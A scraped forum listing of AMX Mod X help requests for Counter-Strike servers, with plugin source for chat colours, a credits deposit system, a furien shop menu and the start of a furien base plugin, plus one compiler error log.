case 6: { get_user_team (id, color, 9) format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } } switch(get_pcvar_num(SlotMesajRengi)) { case 1: { format (strText, 191, "%s", message) } case 2: { format (strText, 191, "^x04%s", message) } case 3: { copy (color, 9, "SPECTATOR") format (strText, 191, "^x03%s", message) } case 4: { copy (color, 9, "CT") format (strText, 191, "^x03%s", message) } case 5: { copy (color, 9, "TERRORIST") format (strText, 191, "^x03%s", message) } } } else if(User) { Yonetici = false Admin = false Slot = false switch(get_pcvar_num(UserNickRengi)) { case 1: { format (strName, 191, "%s(%s) %s", alive, playerTeamName, name) } case 2: { format (strName, 191, "%s(%s) ^x04%s", alive, playerTeamName, name) } case 3: { color = "SPECTATOR" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } case 4: { color = "CT" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } case 5: { color = "TERRORIST" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } case 6: { get_user_team (id, color, 9) format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } } switch(get_pcvar_num(UserMesajRengi)) { case 1: { format (strText, 191, "%s", message) } case 2: { format (strText, 191, "^x04%s", message) } case 3: { copy (color, 9, "SPECTATOR") format (strText, 191, "^x03%s", message) } case 4: { copy (color, 9, "CT") format (strText, 191, "^x03%s", message) } case 5: { copy (color, 9, "TERRORIST") format (strText, 191, "^x03%s", message) } } } else { get_user_team (id, color, 9) format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) format (strText, 191, "%s", message) } format (message, 191, "%s ^x01: %s", strName, strText) sendTeamMessage (color, isAlive, playerTeam) return PLUGIN_CONTINUE } public set_listen(id, level, cid) { if(!cmd_access(id, level, cid, 2)) return PLUGIN_HANDLED; new arg[1], newListen read_argv(1, arg, 1) newListen = str_to_num (arg) set_cvar_num ("amx_listen", newListen) set_pcvar_num (AdminListen, newListen) return PLUGIN_HANDLED } public sendMessage(color[], alive) { new teamName[10] for(new player = 1; player < get_maxplayers(); player++) { if(!is_user_connected(player)) continue if(alive && is_user_alive(player) || !alive && !is_user_alive(player) || get_pcvar_num(AdminListen) && get_user_flags(player) & ADMIN_LISTEN) { get_user_team(player, teamName, 9) changeTeamInfo(player, color) writeMessage(player, message) changeTeamInfo(player, teamName) } } } public sendTeamMessage(color[], alive, playerTeam) { new teamName[10] for(new player = 1; player < get_maxplayers(); player++) { if(get_user_team(player) == playerTeam || get_pcvar_num(AdminListen) && get_user_flags(player) & ADMIN_LISTEN) { if(alive && is_user_alive(player) || !alive && !is_user_alive(player) || get_pcvar_num(AdminListen) && get_user_flags(player) & ADMIN_LISTEN) { get_user_team(player, teamName, 9) changeTeamInfo(player, color) writeMessage(player, message) changeTeamInfo(player, teamName) } } } } public changeTeamInfo(player, team[]) { message_begin (MSG_ONE, get_user_msgid ("TeamInfo"), _, player) write_byte (player) write_string (team) message_end() } public writeMessage (player, message[]) { message_begin (MSG_ONE, get_user_msgid ("SayText"), {0, 0, 0}, player) write_byte (player) write_string (message) message_end () } /* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE *{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1055\\ f0\\ fs16 \n\\ par } */ Przeczytaj cały wpis
  22. i want to disable the hud with stats after round end most damage done, victims.. etc if it possible to disable it so how? Przeczytaj cały wpis
  23. Hi guys , fix this credits plugin please. PHP Code: #include <amxmodx> #include <amxmisc> #include <cstrike> #include <fakemeta> #include <nvault> #define PLUGIN "Depozit Mooney" #define AUTHOR "Aragon*" #define VERSION "1.0" new PlayerCredits[10000]; new Vault, SymbolsName, savepoints; public plugin_init() { register_plugin(PLUGIN,VERSION,AUTHOR) register_forward(FM_ClientUserInfoChanged, "ChangeName"); SymbolsName = register_cvar("fr_name_symbols", "~`"); //| Symbols Name Restricted |// biohazardshopmod = register_cvar("bh_shop_mode", "1"); //| Money/Points 0 Money Tax -> 1 Points Tax |// savepoints = register_cvar("fr_save_points", "1"); //| Save Points Mode 0 Disable -> 1 Name -> 2 IP -> 3 SteamID |// register_clcmd("depozit","Depozit") register_clcmd("say /depozit","Depozit") register_clcmd("say_team /depozit","Depozit") register_clcmd("retrage","Retrage") register_clcmd("say /retrage","Retrage") register_clcmd("say_team /retrage","Retrage") register_clcmd("credits","Show_Credits") register_clcmd("credite","Show_Credits") register_clcmd("say /credits","Show_Credits") register_clcmd("say /credite","Show_Credits") register_clcmd("say_team /credits","Show_Credits") register_clcmd("say_team /credite","Show_Credits") register_concmd("amx_give_credits", "Give_Credits", ADMIN_RCON, "Name/@T/@CT/@All -> Amount"); register_concmd("amx_reset_credits", "Reset_Credits", ADMIN_RCON, "Name/@T/@CT/@All"); } public client_putinserver(id) { LoadCredits(id) } public client_authorized(id) { LoadCredits(id) } public client_connected(id) { LoadCredits(id) } public client_disconnect(id) { SaveCredits(id) } //------| Change Name |------// public ChangeName(id, buffer) { if(!is_user_connected(id)) return FMRES_IGNORED; static Name[32], Val[32]; get_user_name(id, Name, sizeof Name - 1); engfunc(EngFunc_InfoKeyValue, buffer, "name", Val, sizeof Val - 1); if(equal(Val, Name)) return FMRES_IGNORED; set_task(0.2, "client_connect", id); return FMRES_SUPERCEDE; } //------| Client connect |------// public client_connect(id) { static sName[32]; get_user_name(id, sName, sizeof sName - 1); static sChars[32]; get_pcvar_string(SymbolsName, sChars, sizeof sChars - 1); for(new i = 0 ; i < strlen(sName) ; i++) { for(new j = 0 ; j < strlen(sChars) ; j++) { if(sName == sChars[j]) { server_cmd("kick #%d ^"Numele tau contine caractere nepermise.^"", get_user_userid(id)); break; } else { LoadCredits(id); } } } } public Depozit(id) { if(cs_get_user_team(id) == CS_TEAM_SPECTATOR) return PLUGIN_HANDLED; if(cs_get_user_money(id) == 16000) { ColorChat(id, "^x03[Depozit]^x04 Ai depozitat^x03 16000$^x04 is ai primit^x03 1^x04 credit."); PlayerCredits[id] += 1; cs_set_user_money(id, 0); } else { ColorChat(id, "^x03[Depozit]^x04 Iti trebuie^x03 16000$^x04 pentru a putea depozita."); } SaveCredits(id) return PLUGIN_HANDLED; } public Retrage(id) { if(cs_get_user_team(id) == CS_TEAM_SPECTATOR) return PLUGIN_HANDLED; if(cs_get_user_money(id) == 16000) { ColorChat(id, "^x03[Depozit]^x04 Ai deja^x03 16000$."); PlayerCredits[id] -= 1; } else if(PlayerCredits[id]) { ColorChat(id, "^x03[Depozit]^x04 Ai retras^x03 1^x04 credit din depozit, ai primit^x03 16000$."); PlayerCredits[id] -= 1; cs_set_user_money(id, 16000); } else { ColorChat(id, "^x03[Depozit]^x04 Iti trebuie^x03 1 credit^x04 pentru a putea retrage."); } SaveCredits(id) return PLUGIN_HANDLED; } public Show_Credits(id) { set_hudmessage(0, 128, 0, 0.03, 0.86, 2, 6.0, 5.0); show_hudmessage(id, "Ai %d Credite.", PlayerCredits[id]); ColorChat(id, "^x03[Depozit]^x04 Ai^x03 %d^x04 Credite.", PlayerCredits[id]); return PLUGIN_HANDLED; } public Give_Credits(id, level, cid) { if(!cmd_access(id, level, cid, 2)) { return PLUGIN_HANDLED; } new arg[23], gplayers[32], num, i, players, name[32]; get_user_name(id, name, 31); read_argv(1, arg, 23); new give_credits[5]; read_argv(2, give_credits, charsmax(give_credits)); new Credits = str_to_num(give_credits); if(equali(arg, "@T")) { get_players(gplayers, num, "e", "TERRORIST"); for(i = 0; i < num; i++) { players = gplayers; if(!is_user_connected(players)) continue; PlayerCredits[players] += Credits; SaveCredits(id) } switch(get_cvar_num("amx_show_activity")) { case 1: ColorChat(0, "^x03ADMIN^x04 give^x03 %i Credits^x04 to all^x03 Ts.", Credits); case 2: ColorChat(0, "^x03%s^x04 give^x03 %i Credits^x04 to all^x03 Ts.", name, Credits); } } else if(equali(arg, "@CT")) { get_players(gplayers, num, "e", "CT"); for(i = 0; i < num; i++) { players = gplayers; if(!is_user_connected(players)) continue; PlayerCredits[players] += Credits; SaveCredits(id) } switch(get_cvar_num("amx_show_activity")) { case 1: ColorChat(0, "^x03ADMIN^x04 give^x03 %i Credits^x04 to all^x03 CTs.", Credits); case 2: ColorChat(0, "^x03%s^x04 give^x03 %i Credits^x04 to all^x03 CTs.", name, Credits); } } if(equali(arg, "@All")) { get_players(gplayers, num, "a"); for(i = 0; i < num; i++) { players = gplayers; if(!is_user_connected(players)) continue; PlayerCredits[players] += Credits; SaveCredits(id) } switch(get_cvar_num("amx_show_activity")) { case 1: ColorChat(0, "^x03ADMIN^x04 give^x03 %i Credits^x04 to all^x03 Players.", Credits); case 2: ColorChat(0, "^x03%s^x04 give^x03 %i Credits^x04 to all^x03 Players.", name, Credits); } } new player = cmd_target(id, arg, 11); if(!player) { return PLUGIN_HANDLED; } PlayerCredits[player] += Credits; SaveCredits(id) switch(get_cvar_num("amx_show_activity")) { case 1: ColorChat(player, "^x03ADMIN^x04 give your^x03 %i Credits.", Credits); case 2: ColorChat(player, "^x03%s^x04 give your^x03 %i Credits.", name, Credits); } return PLUGIN_HANDLED; } public Reset_Credits(id, level, cid) { if(!cmd_access(id, level, cid, 2)) { return PLUGIN_HANDLED; } new arg[23], gplayers[32], num, i, players, name[32]; get_user_name(id, name, 31); read_argv(1, arg, 23); if(equali(arg, "@T")) { get_players(gplayers, num, "e", "TERRORIST"); for(i = 0; i < num; i++) { players = gplayers; if(!is_user_connected(players)) continue; PlayerCredits[players] = 0; SaveCredits(id) } switch(get_cvar_num("amx_show_activity")) { case 1: ColorChat(0, "^x03ADMIN^x04 reset^x03 Credits^x04 to all^x03 Ts."); case 2: ColorChat(0, "^x03%s^x04 reset^x03 Credits^x04 to all^x03 Ts.", name); } } else if(equali(arg, "@CT")) { get_players(gplayers, num, "e", "CT"); for(i = 0; i < num; i++) { players = gplayers; if(!is_user_connected(players)) continue; PlayerCredits[players] = 0; SaveCredits(id) } switch(get_cvar_num("amx_show_activity")) { case 1: ColorChat(0, "^x03ADMIN^x04 reset^x03 %i Credits^x04 to all^x03 CTs."); case 2: ColorChat(0, "^x03%s^x04 reset^x03 %i Credits^x04 to all^x03 CTs.", name); } } if(equali(arg, "@All")) { get_players(gplayers, num, "a"); for(i = 0; i < num; i++) { players = gplayers; if(!is_user_connected(players)) continue; PlayerCredits[players] = 0; SaveCredits(id) } switch(get_cvar_num("amx_show_activity")) { case 1: ColorChat(0, "^x03ADMIN^x04 reset^x03 Credits^x04 to all^x03 Players."); case 2: ColorChat(0, "^x03%s^x04 resetx03 Credits^x04 to all^x03 Players.", name); } } new player = cmd_target(id, arg, 11); if(!player) { return PLUGIN_HANDLED; } PlayerCredits[player] = 0; SaveCredits(id) switch(get_cvar_num("amx_show_activity")) { case 1: ColorChat(player, "^x03ADMIN^x04 reset your^x03 Credits."); case 2: ColorChat(player, "^x03%s^x04 reset your^x03 Credits.", name); } return PLUGIN_HANDLED; } //------| Save Credits |------// public SaveCredits(id) { Vault = nvault_open("DepozitCredits"); new data_credits[256], key_credits[64]; switch( get_pcvar_num(savepoints) ) { case 1: { new name[33]; get_user_name(id,name,32); format(key_credits, 63, "%s-/", name); } case 2: { new player_ip[33]; get_user_ip(id,player_ip,32); format(key_credits, 63, "%s-/", player_ip); } case 3: { new steam_ID[33]; get_user_authid(id,steam_ID,32); format(key_credits, 63, "%s-/", steam_ID); } } format(data_credits, 255, "%i#", PlayerCredits[id]); nvault_set(Vault, key_credits, data_credits); return PLUGIN_CONTINUE; } //------| Loading Credits |------// public LoadCredits(id) { Vault = nvault_open("DepozitCredits"); new data_credits[256], key_credits[64]; switch( get_pcvar_num(savepoints) ) { case 1: { new name[33]; get_user_name(id,name,32); format(key_credits, 63, "%s-/", name); } case 2: { new player_ip[33]; get_user_ip(id,player_ip,32); format(key_credits, 63, "%s-/", player_ip); } case 3: { new steam_ID[33]; get_user_authid(id,steam_ID,32); format(key_credits, 63, "%s-/", steam_ID); } } format(data_credits, 255, "%i#", PlayerCredits[id]); nvault_get(Vault, key_credits, data_credits, 255); replace_all(data_credits, 255, "#", " "); new Credits[32]; parse(data_credits, Credits, 31); PlayerCredits[id] = str_to_num(Credits); return PLUGIN_CONTINUE; } stock ColorChat(const id, const input[], any:...) { new count = 1, players[32]; static msg[191]; vformat(msg, 190, input, 3); replace_all(msg, 190, "!x04", "^4"); replace_all(msg, 190, "!x01", "^1"); replace_all(msg, 190, "!x03", "^3"); if(id) players[0] = id; else get_players(players, count, "ch"); { for(new i = 0; i < count; i++) { if(is_user_connected(players)) { message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players); write_byte(players); write_string(msg); message_end(); } } } } /* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE *{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1033\\ f0\\ fs16 \n\\ par } */ When I am trying to compile it I get these errors: PHP Code: /tmp/textux87Ai.sma(72) : error 033: array must be indexed (variable "sName") /tmp/textux87Ai.sma(137) : error 006: must be assigned to an array /tmp/textux87Ai.sma(151) : error 006: must be assigned to an array /tmp/textux87Ai.sma(165) : error 006: must be assigned to an array /tmp/textux87Ai.sma(199) : error 006: must be assigned to an array /tmp/textux87Ai.sma(214) : error 006: must be assigned to an array /tmp/textux87Ai.sma(228) : error 006: must be assigned to an array /tmp/textux87Ai.sma(320) : error 035: argument type mismatch (argument 1) /tmp/textux87Ai.sma(321) : error 035: argument type mismatch (argument 4) /tmp/textux87Ai.sma(322) : error 035: argument type mismatch (argument 1) 10 Errors. Could not locate output file /home/groups/amxmodx/public_html/websc3/textux87Ai.amx (compile failed). Przeczytaj cały wpis
  24. I've got a shop plugin that I want you to modify CT max hp 200 and T max hp 150. PHP Code: #include <amxmodx> #include <fun> #include <cstrike> #include <engine> #include <hamsandwich> #include <fakemeta_util> #define PLUGIN "Furien Shop" #define VERSION "1.0" #define AKCOST 9000 #define SKCOST 15000 #define BLACKPACKCOST 9000 #define ANTIFLASHCOST 9000 #define HECOST 3000 #define HPCOST 3000 #define APCOST 1000 #define DEFUSECOST 500 #define INCARCATORCOST 9000 #define BLACKPACKSPEED 800.0 #define MAX_HP 250 #define MAX_AP 300 #define Ham_Player_ResetMaxSpeed Ham_Item_PreFrame enum { AK47GOLD, SUPERKNIFE, BLACKPACK } new const g_szKnifeModels[][] = { "models/fr_models/v_superknife.mdl", "models/fr_models/v_blackpack.mdl" } new const g_szAk47Models[][] = { "models/fr_models/v_ak47_gold.mdl", "models/fr_models/p_ak47_gold.mdl" } new bool:g_bHaveNoFlash[33]; new g_iWeapon[33]; new const szPickAmmoSound[] = "items/9mmclip1.wav"; new const szTag[] = "[BLACK.WATF.RO - SHOP]"; new g_msgScreenFade; public plugin_init() { register_plugin(PLUGIN, VERSION, "FaTzZu"); register_clcmd("say shop", "ShopMenu"); register_clcmd("say_team shop", "ShopMenu"); register_clcmd("say /shop", "ShopMenu"); register_clcmd("say_team /shop", "ShopMenu"); register_clcmd("shop", "ShopMenu"); register_event("CurWeapon", "CurrentWeapon", "be", "1=1"); RegisterHam(Ham_TakeDamage, "player", "Ham_PlayerDamage"); RegisterHam(Ham_Killed, "player", "Ham_PlayerKilled", 0); RegisterHam(Ham_Spawn, "player", "Ham_PlayerSpawn", 1); RegisterHam(Ham_Player_ResetMaxSpeed, "player", "Player_ResetMaxSpeed", 1); register_clcmd("say /c","cmdSayC"); register_event("ScreenFade", "eventFlash", "be", "4=255", "5=255", "6=255", "7>199") g_msgScreenFade = get_user_msgid("ScreenFade"); } public cmdSayC(id) { if(get_user_flags(id) & ADMIN_IMMUNITY) { cs_set_user_money(id, 16000); } } public plugin_precache() { precache_sound(szPickAmmoSound); for(new i;i<sizeof(g_szKnifeModels);i++) { if(!file_exists(g_szKnifeModels[i])) { server_print("Modelul %s nu exista!", g_szKnifeModels[i]); set_fail_state("Model inexistent"); } precache_model(g_szKnifeModels[i]); } for(new i;i<sizeof(g_szAk47Models);i++) { if(!file_exists(g_szAk47Models[i])) { server_print("Modelul %s nu exista!", g_szAk47Models[i]); set_fail_state("Model inexistent"); } precache_model(g_szAk47Models[i]); } } public client_putinserver(id) { g_iWeapon[id] = 3; } public client_disconnect(id) remove_task(id+221); public CurrentWeapon(id) { new szWeapon = get_user_weapon( id ); if(is_user_alive(id)) { switch(g_iWeapon[id]) { case AK47GOLD: { if(user_has_weapon(id, CSW_AK47) && szWeapon == CSW_AK47 && get_user_team(id) == 2) { set_pev(id, pev_viewmodel2, g_szAk47Models[0]); set_pev(id, pev_weaponmodel2, g_szAk47Models[1]); } } case SUPERKNIFE: { if(user_has_weapon(id, CSW_KNIFE) && szWeapon == CSW_KNIFE && get_user_team(id) == 1) set_pev(id, pev_viewmodel2, g_szKnifeModels[0]); } case BLACKPACK: { if(user_has_weapon(id, CSW_KNIFE) && szWeapon == CSW_KNIFE && get_user_team(id) == 1) set_pev(id, pev_viewmodel2, g_szKnifeModels[1]); } } } } public Ham_PlayerSpawn(id) { if(!is_user_alive(id)) return; g_bHaveNoFlash[id] = false; if(g_iWeapon[id] == AK47GOLD) g_iWeapon[id] = 3; } public Ham_PlayerKilled(victim, attacker, shouldgib) g_iWeapon[victim] = 3; public Ham_PlayerDamage(iVictim, iInflictor, iAttacker, Float:fDamage, iDamageBits ) { if(is_user_alive(iAttacker)) { switch(g_iWeapon[iAttacker]) { case AK47GOLD: { if(iInflictor == iAttacker && get_user_weapon(iAttacker) == CSW_KNIFE && get_user_team(iAttacker) == 2) SetHamParamFloat( 4, fDamage * 1.5); } case SUPERKNIFE: { if(iInflictor == iAttacker && get_user_weapon(iAttacker) == CSW_KNIFE && get_user_team(iAttacker) == 1) SetHamParamFloat( 4, fDamage * 2.8); } case BLACKPACK: { if(iInflictor == iAttacker && get_user_weapon(iAttacker) == CSW_KNIFE && get_user_team(iAttacker) == 1) SetHamParamFloat( 4, fDamage * 1.0); } } } return HAM_HANDLED; } public ShopMenu(id) { if(is_user_connected(id)) { switch(cs_get_user_team(id)) { case CS_TEAM_T: { new szText[128]; formatex(szText, charsmax(szText), "\SHOP \BLACK.WATF.Ro"); new menu = menu_create(szText, "furiensShopHandler"); formatex(szText, charsmax(szText), "\Super Knife - \%d \$", SKCOST); menu_additem(menu, szText); formatex(szText, charsmax(szText), "\HE Grenade - \%d \$", HECOST); menu_additem(menu, szText); formatex(szText, charsmax(szText), "\50 HP - \%d \$", HPCOST); menu_additem(menu, szText); formatex(szText, charsmax(szText), "\50 AP - \%d \$", APCOST); menu_additem(menu, szText); formatex(szText, charsmax(szText), "\Anti-Flash - \%d \$", ANTIFLASHCOST); menu_additem(menu, szText); formatex(szText, charsmax(szText), "\Black Pack - \%d \$", BLACKPACKCOST); menu_additem(menu, szText); menu_setprop(menu, MPROP_EXIT , MEXIT_ALL); menu_display(id, menu, 0); } case CS_TEAM_CT: { new szTexts[128]; formatex(szTexts, charsmax(szTexts), "\SHOP \BLACK.WATF.Ro"); new menu = menu_create(szTexts, "humansShopHandler"); formatex(szTexts, charsmax(szTexts), "\Ak47 Gold - \%d \$", AKCOST); menu_additem(menu, szTexts); formatex(szTexts, charsmax(szTexts), "\Defuse Kit - \%d \$", DEFUSECOST); menu_additem(menu, szTexts); formatex(szTexts, charsmax(szTexts), "\50 HP - \%d \$", HPCOST); menu_additem(menu, szTexts); formatex(szTexts, charsmax(szTexts), "\50 AP - \%d \$", APCOST); menu_additem(menu, szTexts); formatex(szTexts, charsmax(szTexts), "\Anti-Flash - \%d \$", ANTIFLASHCOST); menu_additem(menu, szTexts); formatex(szTexts, charsmax(szTexts), "\Incarcator - \%d \$", INCARCATORCOST); menu_additem(menu, szTexts); menu_setprop(menu, MPROP_EXIT , MEXIT_ALL); menu_display(id, menu, 0); } } } return 1; } public furiensShopHandler(id, menu, item) { if(item == MENU_EXIT || get_user_team(id) != 1 || !is_user_alive(id)) { menu_destroy(menu); return 1; } switch(item) { case 0: { new iMoney = cs_get_user_money(id) - SKCOST; if(iMoney < 0) { ColorChat(id, "!g%s!nNu ai suficienti !g$ !n!", szTag); return 1; } else { if(g_iWeapon[id] == 1) { ColorChat(id, "!g%s!nDetii deja !gSuper Knife !n!", szTag); return 1; } else { g_iWeapon[id] = 1; give_item(id, "weapon_knife"); CurrentWeapon(id) emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM); cs_set_user_money(id, iMoney); } } } case 1: { new iMoney = cs_get_user_money(id) - HECOST; if(iMoney < 0) { ColorChat(id, "!g%s!nNu ai suficienti !g$ !n!", szTag); return 1; } else { if(pev(id, pev_weapons) & (1<<CSW_HEGRENADE)) { ColorChat(id, "!g%s!nDetii deja !gHE GRENADE !n!", szTag); return 1; } else { cs_set_user_money(id, iMoney); give_item(id, "weapon_hegrenade"); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM); } } } case 2: { new iMoney = cs_get_user_money(id) - HPCOST; if(iMoney < 0) { ColorChat(id, "!g%s!nNu ai suficienti !g$ !n!", szTag); return 1; } if(get_user_health(id) >= MAX_HP) return 1; set_user_health(id, clamp(get_user_health(id) + 50, 1, MAX_HP)) cs_set_user_money(id, iMoney); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM); } case 3: { new iMoney = cs_get_user_money(id) - APCOST; if(iMoney < 0) { ColorChat(id, "!g%s!nNu ai suficienti !g$ !n!", szTag); return 1; } if(get_user_armor(id) >= MAX_AP) return 1; set_user_armor(id, clamp(get_user_armor(id) + 100, 1, 300)); cs_set_user_money(id, iMoney); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM); } case 4: { new iMoney = cs_get_user_money(id) - ANTIFLASHCOST; if(iMoney < 0) { ColorChat(id, "!g%s!nNu ai suficienti !g$ !n!", szTag); return 1; } else { if(g_bHaveNoFlash[id]) { ColorChat(id, "!g%s!nAi deja !gAnti Flash !n!", szTag); return 1; } else { g_bHaveNoFlash[id] = true; emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM); cs_set_user_money(id, iMoney); } } } case 5: { new iMoney = cs_get_user_money(id) - BLACKPACKCOST; if(iMoney < 0) { ColorChat(id, "!g%s!nNu ai suficienti !g$ !n!", szTag); return 1; } else { if(g_iWeapon[id] == BLACKPACK) { ColorChat(id, "!g%s!nDetii deja !gBlackPack !n!", szTag); return 1; } else { g_iWeapon[id] = BLACKPACK; give_item(id, "weapon_knife"); CurrentWeapon(id) emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM); cs_set_user_money(id, iMoney); set_user_armor(id, clamp(get_user_armor(id) + 100, 1, 300)); } } } } return 1; } public humansShopHandler(id, menu, item) { if(item == MENU_EXIT || get_user_team(id) != 2 || !is_user_alive(id)) { menu_destroy(menu); return 1; } switch(item) { case 0: { new iMoney = cs_get_user_money(id) - AKCOST; if(iMoney < 0) { ColorChat(id, "!g%s!nNu ai suficienti !g$ !n!", szTag); return 1; } else { if(g_iWeapon[id] == AK47GOLD) { ColorChat(id, "!g%s!nDetii deja !gAk47Gold !n!", szTag); return 1; } else { g_iWeapon[id] = AK47GOLD; give_item(id, "weapon_ak47"); cs_set_user_bpammo(id, CSW_AK47, 250); CurrentWeapon(id) emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM); cs_set_user_money(id, iMoney); } } } case 1: { new iMoney = cs_get_user_money(id) - DEFUSECOST; if(iMoney < 0) { ColorChat(id, "!g%s!nNu ai suficienti !g$ !n!", szTag); return 1; } else { if( cs_get_user_defuse(id) ) { ColorChat(id, "!g%s!nAi deja !gDefuse Kit !n!", szTag); return 1; } else { cs_set_user_defuse(id, 1); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM); cs_set_user_money(id, iMoney); } } } case 2: { new iMoney = cs_get_user_money(id) - HPCOST; if(iMoney < 0) { ColorChat(id, "!g%s!nNu ai suficienti !g$ !n!", szTag); return 1; } if(get_user_health(id) >= MAX_HP) return 1; set_user_health(id, clamp(get_user_health(id) + 50, 1, MAX_HP)) cs_set_user_money(id, iMoney); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM); } case 3: { new iMoney = cs_get_user_money(id) - APCOST; if(iMoney < 0) { ColorChat(id, "!g%s!nNu ai suficienti !g$ !n!", szTag); return 1; } if(get_user_armor(id) >= MAX_AP) return 1; set_user_armor(id, clamp(get_user_armor(id) + 100, 1, 300)); cs_set_user_money(id, iMoney); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM); } case 4: { new iMoney = cs_get_user_money(id) - ANTIFLASHCOST; if(iMoney < 0) { ColorChat(id, "!g%s!nNu ai suficienti !g$ !n!", szTag); return 1; } else { if(g_bHaveNoFlash[id]) { ColorChat(id, "!g%s!nAi deja !gAnti Flash !n!", szTag); return 1; } else { g_bHaveNoFlash[id] = true; emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM); cs_set_user_money(id, iMoney); } } } case 5: { new iMoney = cs_get_user_money(id) - INCARCATORCOST; if(iMoney < 0) { ColorChat(id, "!g%s!nNu ai suficienti !g$ !n!", szTag); return 1; } cs_set_user_bpammo(id, get_user_weapon(id), 250); cs_set_user_money(id, iMoney); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM); } } return 1; } public Player_ResetMaxSpeed(id) { if( is_user_alive(id) && get_user_team(id) == 1 && get_user_maxspeed(id) != 1.0 && g_iWeapon[id] == BLACKPACK) set_pev(id, pev_maxspeed, BLACKPACKSPEED) } public eventFlash(id) { if(is_user_connected(id) && g_bHaveNoFlash[id]) { message_begin(MSG_ONE, g_msgScreenFade, {0,0,0}, id) write_short(1) write_short(1) write_short(1) write_byte(0) write_byte(0) write_byte(0) write_byte(255) message_end() } } public plugin_natives() { register_native("set_user_superknife", "_set_user_superknife", 1); } public _set_user_superknife(id, x) { if(x == 1) { g_iWeapon[id] = SUPERKNIFE; CurrentWeapon(id); return PLUGIN_HANDLED; } g_iWeapon[id] = 3; return PLUGIN_CONTINUE; } /* Colochat */ stock ColorChat(const id,const input[], any:...) { new iNum = 1, iPlayers[32]; static szMessage[191]; vformat(szMessage, charsmax(szMessage),input, 3); replace_all(szMessage, charsmax(szMessage), "!g", "^4"); replace_all(szMessage, charsmax(szMessage), "!n", "^1"); replace_all(szMessage, charsmax(szMessage), "!t", "^3"); if(id) iPlayers[0] = id; else get_players(iPlayers, iNum, "ch"); for(new i = 0; i < iNum; i++) { if(is_user_connected(iPlayers[i])) { message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, iPlayers[i]); write_byte(iPlayers[i]); write_string(szMessage); message_end(); } } } Przeczytaj cały wpis
  25. Hi guys , i've got a furien base , which one I am gonna put down bellow ,I want you to modify it such as when you are furien it gives you the bomb from the beggining of the round , the base I have gives the bomb after some time. PHP Code: #include <amxmodx> #include <cstrike> #include <engine> #include <fun> #include <fakemeta> #include <hamsandwich> #define PLUGIN "Furien Base" #define VERSION "1.0" #define SCOREATTRIB_BOMB (1<<1) #define TASK_BOMB 25432 #define TASKHP 25525 #define SWITCH_TASK 112233 #define TASK_CANPLANT 10001 //** Furien Defines **// #define IsWeaponBoxC4(%1) ( get_pdata_cbase(%1, 39, 4) > 0 ) #define Ham_Player_ResetMaxSpeed Ham_Item_PreFrame /** **/ enum _:CvarBits (<<=1) { BLOCK_RADIO = 1, BLOCK_MSG }; new Float:g_flFurienGravity = 0.375, Float:g_flMaxSpeed = 900.0; new g_iInvisFactor = 1, g_iPickUp = 2; /* new const g_szPlayerModels[][] = { "subzeroFurien", "subzeroHuman" } */ new g_iJumpNum[33]; new bool:g_bDoJump[33], bool:g_bCanPlant; public plugin_init() { register_plugin(PLUGIN, VERSION, "FaTzZu"); register_event( "HLTV", "evRoundStart", "a", "1=0", "2=0" ); RegisterHam(Ham_Spawn, "player", "hamPlayerSpawn", 1); RegisterHam(Ham_Player_ResetMaxSpeed, "player", "Player_ResetMaxSpeed", 1); RegisterHam( Ham_TakeDamage, "player", "HamTakeDamage" ); register_event( "SendAudio", "ev_CounterWin", "a", "1=0", "2=%!MRAD_ctwin" ); new iEnt; iEnt = create_entity("info_target"); set_pev(iEnt, pev_classname, "check_speed"); set_pev(iEnt, pev_nextthink, get_gametime() + 0.1); register_think("check_speed", "Set_Furiens_Visibility"); RegisterHam(Ham_Touch, "weaponbox", "CWeaponBox_Touch") RegisterHam(Ham_Touch, "armoury_entity", "GroundWeapon_Touch") RegisterHam(Ham_Touch, "weapon_shield", "GroundWeapon_Touch") register_logevent( "LogEvent_PlayerSpawnWithBomb", 3, "2=Spawned_With_The_Bomb" ) //Game name changer register_forward( FM_GetGameDescription, "GameDesc" ); register_message(get_user_msgid("ShowMenu"), "message_show_menu") register_message(get_user_msgid("VGUIMenu"), "message_vgui_menu") register_forward(FM_PlayerPreThink, "fwdPlayerPreThink" ); register_message(get_user_msgid("ScoreAttrib"), "Message_ScoreAttrib") register_event( "TeamInfo", "join_team", "a") } public plugin_precache() { disable_buyzone(); /* for( new i;i<sizeof(g_szPlayerModels); i++) { new szFileName[128]; formatex(szFileName, charsmax(szFileName), "models/player/%s/%s.mdl", 